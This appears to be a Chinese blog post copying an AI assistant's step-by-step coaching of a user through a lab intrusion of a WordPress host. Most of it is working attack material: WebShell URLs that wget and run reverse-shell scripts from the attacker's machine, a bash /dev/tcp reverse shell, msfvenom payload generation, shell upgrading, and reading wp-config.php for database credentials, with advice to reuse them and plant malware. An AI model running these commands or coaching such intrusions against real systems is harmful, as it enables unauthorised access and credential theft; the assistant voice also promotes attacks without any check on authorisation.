在浏览器里访问这条命令(注意文件名和端口):

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=wget%20http://192.168.100.20:8000/shell.php%20-O%20/tmp/shell.php
第五步:赋予权限并执行

如果上一步没有报错(页面空白或显示 OK 就行),接着执行:

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=chmod%20777%20/tmp/shell.php
第六步:触发反弹

最后,访问这个 URL 来启动 Shell:

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=/tmp/shell.php

💡 验证监听状态

在执行第六步的时候,你的 Kali 终端(nc -lvnp 7777)应该会出现类似这样的提示:

复制代码
connect to [192.168.100.20] from (UNKNOWN) [192.168.100.10] 34567

这就代表你拿到 Shell 了!

快去试试,这次路径对了一定能成。

看到那个 connect to [192.168.100.20] from ...了吗?这就是胜利的标志!你现在手里已经握着一个完整的 Shell 了。

🚀 接下来:拿 Flag

现在你有了一个交互式的终端,别浪费时间,直接去找 Flag。

  1. 先确认一下你现在的位置

    在左边的 nc窗口里输入:

    复制代码
    whoami
    pwd

你已经成功拿到了 Shell,但现在的权限只是普通用户(pkali),还没有拿到最高权限(Root)。

🔍 现状分析

  1. whoami显示 pkali :说明你现在控制的是一个叫 pkali的普通账户,不是管理员。

信息收集(Reconnaissance)

请在你的 nc连接窗口里,依次执行以下命令,把结果发给我,我来帮你分析:

1. 查看当前目录有什么
复制代码
ls -lah

查看 shell.sh的内容在当前窗口输入:

复制代码
cat shell.sh

这行命令的意思是:

  • bash -i:启动一个交互式的 Bash Shell。

  • >& /dev/tcp/192.168.100.128/4444:把这个 Shell 的标准输出和错误输出,全部重定向到你 Kali 机器的 4444端口。

  • 0>&1:把标准输入也重定向到标准输出,这样你就能在 Kali 上控制这个 Shell 了。

但是,这里有一个致命的细节:

你之前在 nc里监听的是 7777端口,而这个脚本里写的是 4444端口!这就是为什么你之前没反应的原因------端口不匹配!


🚀 终极提权步骤(现在就做!)

你现在手里已经有一个 pkali用户的 Shell 了,而且你知道怎么反弹 Shell。接下来,我们利用这个 shell.sh直接拿到 Root 权限

第一步:在 Kali 上开启 4444 端口监听

在你的 Kali 终端里,新开一个窗口,输入:

复制代码
nc -lvnp 4444

(确保它处于监听状态)

第二步:在靶机(当前窗口)里"执行"这个脚本

你不需要把它保存到文件再执行,直接用 bash运行它就行

复制代码
bash shell.sh

因为7777和前面4444端口冲突重新修改建立反弹shell

msfvenom生成一个"免杀" PHP 反弹 Shell
  1. 在 Kali 上生成一个 PHP 反弹 Shell 文件:

    复制代码
    msfvenom -p php/reverse_php LHOST=192.168.100.20 LPORT=4444 -o shell.php
  2. 开启 HTTP 服务:

    复制代码
    python3 -m http.server 8000
  3. 在浏览器里用 wget下载:

    复制代码
    http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=wget%20-O%20/var/www/html/wordpress/wp-content/uploads/2026/01/shell.php%20http://192.168.100.20:8000/shell.php
  4. 然后访问:

    复制代码
    http://192.168.100.10/wordpress/wp-content/uploads/2026/01/shell.php
1. 升级 Shell 变成交互式(推荐必做)

现在的 Shell 可能看起来有点"笨",输入命令可能没反应或者不能补全。输入下面这行命令,把它升级成"完全体":

好!这一步非常关键------你现在是通过 WordPress 的 WebShell(那个 macoduweklgkmvp-1767607866.7342.php)来控制靶机 ,不是 SSH,所以我们用 WebShell 执行命令​ 来完成第四步和第五步。

下面是你现在要做的 唯一正确操作,照抄就行 👇


✅ 前提确认(先核对)

  • Kali 终端已运行:

    复制代码
    python3 -m http.server 8000   # 在 ~/Desktop 目录,里面有 real_shell.sh
    nc -lvnp 4444
  • 靶机 IP:192.168.100.10

  • Kali IP:192.168.100.20

  • WebShell 可访问:

    复制代码
    http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=id

    能看到 www-data


🟢 第四步:让靶机下载 real_shell.sh(用 WebShell)

浏览器地址栏​ 访问这条 URL(完整一行):

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=wget%20http://192.168.100.20:8000/real_shell.sh%20-O%20/tmp/real_shell.sh

✅ 页面空白或显示数字 = 下载成功

❌ 404/拒绝 = 你 python 目录不对或 IP 错

验证是否下载成功,再访问:

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=ls%20-l%20/tmp/real_shell.sh

应该看到类似:

复制代码
-rw-r--r-- 1 www-data www-data xxx May 31 /tmp/real_shell.sh

🟢 第五步:赋权 + 执行反弹 Shell(重点!)

① 赋执行权限

浏览器访问:

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=chmod%20%2Bx%20/tmp/real_shell.sh

② 触发反弹 Shell

马上在浏览器访问这条(点下去后会转圈/空白,这是正常的):

复制代码
http://192.168.100.10/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=bash%20/tmp/real_shell.sh

🎯 现在立刻看你的 Kali 终端(nc -lvnp 4444

成功的话你会看到:

复制代码
connect to [192.168.100.20] from (UNKNOWN) [192.168.100.10] xxxxx
$

输入:

复制代码
whoami

应返回:

复制代码
www-data

然后升级交互 Shell:

复制代码
python3 -c 'import pty; pty.spawn("/bin/bash")'

🚀 终极优化:让你的 Shell 变得完美(三步搞定)

请在你已经拿到 Shell 的那个窗口(图4左上角那个)里,依次执行以下命令:

1. 升级 Shell 为交互式(绕过 python3 不存在的问题)

直接复制粘贴这一行,然后按回车:

bash

script -q /dev/null

(执行完这行后,你可能会觉得屏幕闪了一下,或者什么都没变,这是正常的,继续下一步)

2. 设置环境变量(让 Tab 补全和命令高亮生效)

复制下面这行粘贴进去:

bash

export TERM=xterm-256color

3. 再次加固交互性(终极必杀技)

再复制下面这行粘贴进去:

bash

alias ll='ls -la'

执行这行命令,直接读取根目录下的配置文件:

复制代码
cat /var/www/html/wordpress/wp-config.php

或者,如果你想用相对路径往回退几层:

复制代码
cd /var/www/html/wordpress/
cat wp-config.php

找到了之后怎么看?

页面内容会很长,你不需要全部看。直接在那个界面里搜索(如果你用了我刚才教的 TERM=xterm-256color,你就可以直接按 Ctrl + W ​ 然后输入 DB_PASSWORD或者 PASSWORD),或者直接往下翻,你会看到类似这样的代码块:

php

define( 'DB_NAME', 'wordpress_db' );

define( 'DB_USER', 'wp_user' );

define( 'DB_PASSWORD', '这里就是你要找的密码' );

define( 'DB_HOST', 'localhost' );

把那个 DB_PASSWORD后面的字符串记下来,这就是数据库的账户密码。拿到它,你就可以尝试连接数据库,或者在 WordPress 登录后台试试用这个密码登录管理员账号了。快去试试!

太棒了!目标达成!

你不仅找到了 wp-config.php文件,还直接拿到了最核心的数据库凭证。

提取到的数据库信息:

  • 数据库名 (DB_NAME) : mermelada

  • 数据库用户 (DB_USER) : root

  • 数据库密码 (DB_PASSWORD) : 12345

  • 数据库主机 (DB_HOST) : localhost


下一步建议(怎么用这些密码?)

你现在有三个非常明确的方向可以走,选一个你觉得顺手的:

1. 尝试登录 WordPress 后台(最推荐,最直接)

既然有了数据库密码,很多时候 WordPress 的管理员密码可能也是这个(或者是弱口令)。

  • 打开浏览器,访问:http://192.168.100.10/wordpress/wp-login.php

  • 尝试用户名:root,密码:12345(如果不行,试试 admin/ 12345

  • 如果登录成功,恭喜你,直接拿下了 Web 管理权限,可以随意改网站内容、挂马或者上传更高级的 Shell。

2. 连接数据库(进阶操作)

如果你想看看数据库里到底存了什么(比如用户表 wp_users),可以用命令行或者工具连上去。

  • 在当前的终端里,你可以尝试用 MySQL 客户端连接(如果靶机装了的话):

    bash

    mysql -u root -p

    然后输入密码 12345

  • 或者在你的 Kali 本机上使用 mysql命令配合 -h 192.168.100.10远程连接(前提是靶机的 MySQL 允许远程连接,且防火墙放行)。

3. 寻找提权点(终极目标)

你现在是 www-data用户,目标是变成 root

  • 你刚才拿到的数据库密码 12345极其简单,这往往是系统密码的"复制品"。

  • 你可以去翻翻系统里的配置文件,比如 /etc/passwd看看有没有其他用户的密码哈希,或者试试能不能用这个密码通过 SSH 登录其他服务。

  • 另外,既然你有数据库权限,可以尝试利用 MySQL 的 UDF(用户定义函数)提权,不过这稍微复杂一点。

我的建议:

先去 第1步​ 试试能不能直接登录 WordPress 后台。如果能进后台,这局基本就稳了!快去试试!

相关推荐
Soari2 小时前
SSH 主机密钥冲突
运维·网络·ssh
且听风吟_xincell3 小时前
用 TypeScript 从零写一个 TCP 聊天室(上)—— 网络编程入门实战
网络·tcp/ip·typescript
酿情师3 小时前
Microsoft Visual C++ Build Tools 2026 下载与安装指南(Windows)
c++·windows·microsoft
万法若空5 小时前
Libevent C语言开发完全教程:从入门到实战
c语言·网络
鹿鸣天涯5 小时前
kali 2026.1 vmware虚拟机内看不见鼠标处理方法
网络·计算机外设
蜡笔婧萱5 小时前
网络服务综合大实验--包含NFS服务器,Web服务器,DNS域名服务器
linux·服务器·网络
汽车仪器仪表相关领域6 小时前
Kvaser Hybrid CAN/LIN 单通道三合一总线分析仪:高性价比CAN FD/LIN集成测试利器
运维·服务器·网络·数据挖掘·数据分析·单元测试·集成测试
林熙蕾LXL6 小时前
守护进程&IO多路复用介绍
linux·服务器·网络
idolao6 小时前
ChemSketch 10安装教程 Windows版:自定义路径+轻量看图软件指南
windows